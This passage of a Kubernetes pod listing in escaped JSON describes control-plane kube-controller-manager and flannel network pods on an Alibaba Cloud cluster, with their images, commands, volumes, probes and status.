09-10T07:23:27Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:27Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:24Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-09-10T07:23:24Z\",\"containerStatuses\":[{\"name\":\"kube-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:26Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:05:10Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://11c5e8dbbffb6d1cc601d211be42873542271ac87073dd1461ea6d6553c0c138\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager@sha256:ec269c6046cc283c5e0c80c19722310ed1f29f9fccde8c89a08b294222ff5441\",\"containerID\":\"docker://204a05eafbbe413fba42031de977db911a80032a2dcdaa7883211eb662bc551a\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-controller-manager-cn-beijing.192.168.0.151\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-controller-manager-cn-beijing.192.168.0.151\",\"uid\":\"a5b5c25d-922a-4499-b2ae-dad9f083aad8\",\"resourceVersion\":\"487\",\"creationTimestamp\":\"2020-04-08T04:06:53Z\",\"labels\":{\"component\":\"kube-controller-manager\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.mirror\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.seen\":\"2020-04-08T12:06:53.045574636+08:00\",\"kubernetes.io/config.source\":\"file\"}},\"spec\":{\"volumes\":[{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/controller-manager.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"command\":[\"kube-controller-manager\",\"--experimental-cluster-signing-duration=87600h0m0s\",\"--allocate-node-cidrs=true\",\"--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--bind-address=127.0.0.1\",\"--client-ca-file=/etc/kubernetes/pki/ca.crt\",\"--cloud-provider=external\",\"--cluster-cidr=172.20.0.0/16\",\"--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\",\"--cluster-signing-key-file=/etc/kubernetes/pki/ca.key\",\"--controllers=*,bootstrapsigner,tokencleaner\",\"--horizontal-pod-autoscaler-use-rest-clients=true\",\"--kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--leader-elect=true\",\"--node-cidr-mask-size=26\",\"--profiling=false\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--root-ca-file=/etc/kubernetes/pki/ca.crt\",\"--service-account-private-key-file=/etc/kubernetes/pki/sa.key\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--use-service-account-credentials=true\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/controller-manager.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:59Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:59Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:06:57Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:06:57Z\",\"containerStatuses\":[{\"name\":\"kube-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:06:58Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager@sha256:ec269c6046cc283c5e0c80c19722310ed1f29f9fccde8c89a08b294222ff5441\",\"containerID\":\"docker://85456ba47f9dd887c4ba158fc86885e8cd52dbf662c10dbbe5682d0f0ddcb2d4\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-controller-manager-cn-beijing.192.168.0.152\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-controller-manager-cn-beijing.192.168.0.152\",\"uid\":\"c50a4e85-b1de-41af-b9f5-59d5ee5f68f9\",\"resourceVersion\":\"914\",\"creationTimestamp\":\"2020-04-08T04:10:02Z\",\"labels\":{\"component\":\"kube-controller-manager\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/config.hash\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.mirror\":\"113cd782cb781eb2fdff73f2820a21d7\",\"kubernetes.io/config.seen\":\"2020-04-08T12:08:40.982081019+08:00\",\"kubernetes.io/config.source\":\"file\",\"kubernetes.io/psp\":\"ack.privileged\"}},\"spec\":{\"volumes\":[{\"name\":\"ca-certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"etc-pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"k8s-certs\",\"hostPath\":{\"path\":\"/etc/kubernetes/pki\",\"type\":\"DirectoryOrCreate\"}},{\"name\":\"kubeconfig\",\"hostPath\":{\"path\":\"/etc/kubernetes/controller-manager.conf\",\"type\":\"FileOrCreate\"}},{\"name\":\"localtime\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}}],\"containers\":[{\"name\":\"kube-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"command\":[\"kube-controller-manager\",\"--experimental-cluster-signing-duration=87600h0m0s\",\"--allocate-node-cidrs=true\",\"--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--bind-address=127.0.0.1\",\"--client-ca-file=/etc/kubernetes/pki/ca.crt\",\"--cloud-provider=external\",\"--cluster-cidr=172.20.0.0/16\",\"--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\",\"--cluster-signing-key-file=/etc/kubernetes/pki/ca.key\",\"--controllers=*,bootstrapsigner,tokencleaner\",\"--horizontal-pod-autoscaler-use-rest-clients=true\",\"--kubeconfig=/etc/kubernetes/controller-manager.conf\",\"--leader-elect=true\",\"--node-cidr-mask-size=26\",\"--profiling=false\",\"--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt\",\"--root-ca-file=/etc/kubernetes/pki/ca.crt\",\"--service-account-private-key-file=/etc/kubernetes/pki/sa.key\",\"--service-cluster-ip-range=172.21.0.0/20\",\"--use-service-account-credentials=true\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"ca-certs\",\"readOnly\":true,\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"etc-pki\",\"readOnly\":true,\"mountPath\":\"/etc/pki\"},{\"name\":\"k8s-certs\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/pki\"},{\"name\":\"kubeconfig\",\"readOnly\":true,\"mountPath\":\"/etc/kubernetes/controller-manager.conf\"},{\"name\":\"localtime\",\"mountPath\":\"/etc/localtime\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\",\"effect\":\"NoExecute\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:46Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:46Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:08:44Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:08:44Z\",\"containerStatuses\":[{\"name\":\"kube-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:08:45Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager:v1.16.6-aliyun.1\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/kube-controller-manager@sha256:ec269c6046cc283c5e0c80c19722310ed1f29f9fccde8c89a08b294222ff5441\",\"containerID\":\"docker://3d16ef6d38358857f4aab186e73dec8f0c7339453540de0425b74aaa20395855\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-5mdcn\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-5mdcn\",\"uid\":\"7b681bd4-c3f8-4d8f-81ef-914b39f6af3e\",\"resourceVersion\":\"35736460\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.150\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:43Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:49Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:49Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-09-10T07:23:39Z\",\"finishedAt\":\"2020-09-10T07:23:39Z\",\"containerID\":\"docker://d9ca116d797c8be92c930e377510af17bab00d32aef59c6592cf610b1fc965eb\"}},\"lastState\":{},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://d9ca116d797c8be92c930e377510af17bab00d32aef59c6592cf610b1fc965eb\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:41Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:12:43Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://e75d968cc7b54f61e5f5703ab81bd55699c314c17fa3c7c7048a5c99177d6946\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://6e8f580e56d50ab4315db999ce2434dad545e3d652d97a83c808c62bd7dbf75f\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-9xgjv\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-9xgjv\",\"uid\":\"42c625ba-2454-45b2-9ab4-e658bf9ee760\",\"resourceVersion\":\"1923\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf\"],\"resources\":{},\"volumeMounts\":[{\"name\":\"cni\",\"mountPath\":\"/etc/cni/net.d\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"readOnlyRootFilesystem\":true}}],\"containers\":[{\"name\":\"kube-flannel\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/opt/bin/flanneld\",\"--ip-masq\",\"--kube-subnet-mgr\"],\"env\":[{\"name\":\"POD_NAME\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.name\"}}},{\"name\":\"POD_NAMESPACE\",\"valueFrom\":{\"fieldRef\":{\"apiVersion\":\"v1\",\"fieldPath\":\"metadata.namespace\"}}}],\"resources\":{\"limits\":{\"cpu\":\"100m\",\"memory\":\"256Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"run\",\"mountPath\":\"/run\"},{\"name\":\"flannel-cfg\",\"mountPath\":\"/etc/kube-flannel/\"},{\"name\":\"flannel-token-pblrl\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":30,\"successThreshold\":1,\"failureThreshold\":8},\"readinessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls -l /run/flannel/subnet.env\"]},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_ADMIN\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"beta.kubernetes.io/arch\":\"amd64\",\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"flannel\",\"serviceAccount\":\"flannel\",\"nodeName\":\"cn-beijing.192.168.0.153\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.153\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priorityClassName\":\"system-node-critical\",\"priority\":2000001000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:46Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:57Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:57Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.153\",\"podIP\":\"192.168.0.153\",\"podIPs\":[{\"ip\":\"192.168.0.153\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"initContainerStatuses\":[{\"name\":\"install-cni\",\"state\":{\"terminated\":{\"exitCode\":0,\"reason\":\"Completed\",\"startedAt\":\"2020-04-08T04:12:45Z\",\"finishedAt\":\"2020-04-08T04:12:45Z\",\"containerID\":\"docker://3ae2d8464413d193546c31e1ee4bfe0d1f832fd52c2583b91f4e80bafc60e7fc\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://3ae2d8464413d193546c31e1ee4bfe0d1f832fd52c2583b91f4e80bafc60e7fc\"}],\"containerStatuses\":[{\"name\":\"kube-flannel\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:47Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/flannel@sha256:db1aa2338757ae61497b2ae72cf4ffda092630e715dcca3f1c801f7ca71b860c\",\"containerID\":\"docker://8954f7e618772b2b2a16525fdfa7c75dee71dbdaedd0f087d477820c9db88ce7\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"kube-flannel-ds-b6qmx\",\"generateName\":\"kube-flannel-ds-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/kube-flannel-ds-b6qmx\",\"uid\":\"198e43d8-dac0-4fd5-8c83-a2351cbd15f4\",\"resourceVersion\":\"1862\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"app\":\"flannel\",\"controller-revision-hash\":\"5d9fd8ccf4\",\"pod-template-generation\":\"1\",\"tier\":\"node\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"kube-flannel-ds\",\"uid\":\"70b7a644-8470-4500-9408-50e20a4a0bc5\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"run\",\"hostPath\":{\"path\":\"/run\",\"type\":\"\"}},{\"name\":\"cni\",\"hostPath\":{\"path\":\"/etc/cni/net.d\",\"type\":\"\"}},{\"name\":\"flannel-cfg\",\"configMap\":{\"name\":\"kube-flannel-cfg\",\"defaultMode\":420}},{\"name\":\"flannel-token-pblrl\",\"secret\":{\"secretName\":\"flannel-token-pblrl\",\"defaultMode\":420}}],\"initContainers\":[{\"name\":\"install-cni\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flannel:v0.11.0.1-g6e46593e-aliyun\",\"command\":[\"/bin/sh\",\"-c\",\"set -e -x; 